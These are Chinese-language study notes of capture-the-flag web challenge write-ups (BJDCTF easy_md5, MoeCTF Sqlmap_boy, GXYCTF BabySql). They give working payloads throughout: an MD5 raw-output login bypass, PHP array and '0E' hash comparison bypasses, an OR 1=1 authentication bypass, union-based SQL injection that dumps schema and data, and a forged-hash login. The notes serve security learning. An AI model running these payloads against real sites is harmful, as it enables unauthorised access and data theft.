学习记录

[BJDCTF 2020]easy_md5

进入可以看到查询框

查询框随便发点内容可以看到hint: select * from ‘admin’ where password=md5($pass,true)

true参数说明函数以二进制形式返回

payload: url?password=ffifdyop

ffifdyop经md5加密并转换为字符串变为’or’6…

select * from admin where password = ‘’ or ‘6…’

值为true,实现了sql注入

重定向,申码

1
2
3
4
5
6
7
<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
header('Location: levell14.php');
-->

数组绕过即可

?a[]=1&b[]=2

访问level1114.php

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

要求param1和param2的值不相等,但是paran1和param2的md5值相等,仍然用数组绕过

获得flag

复习一下md5比较

弱比较(==):在php代码中处理字符串时,会把“0E”开头的哈希值都解析为0

如240610708,aabg7XSs,aabC9RqS,s878926199a在md5后会成为0E开头的字符串,解析为0,实现绕过

强比较(===):数组绕过,数组解析时会输出null,null=null实现绕过

[MoeCTF 2022]Sqlmap_boy

审源码后发现

$sql = ‘select username,password from users where username=”‘.$username.’” && password=”‘.$password.’”;’;

使用

username=admin’” or 1=1;#&password=1

攻击后原sql语句变为:

select username,password from users where username=”admin’” or 1=1;#” && password=”1”;

#将后面的部分注释掉,前面的部分值恒为真,实现了sql注入

id=1是注入点,采用联合查询

?id=17’ union select 1,database(),3 –+

查询到库名为moectf

查询表名

?id=17’ union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=’moectf’ –+

查询列名

?id=17’ union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=’flag’ –+

获取flag

?id=17’ union select 1,database(),group_concat(flAg) from flag–+

[GXYCTF 2019]BabySql

对注释的语句进行base32和base64之后发现语句为

select * from user where username = ‘$name’

字段数是3个

在第二列才爆出pass,admin在第二列

三个字段,第二、三个字段为uname,password

在第三个字段将password写入会md5后存放到数据库,传入的pw参数会md5加密后与先前库中的md5比对,相同输出flag

name=1’union select 1,’admin’,’e10adc3949ba59abbe56e057f20f883e’#&pw=123456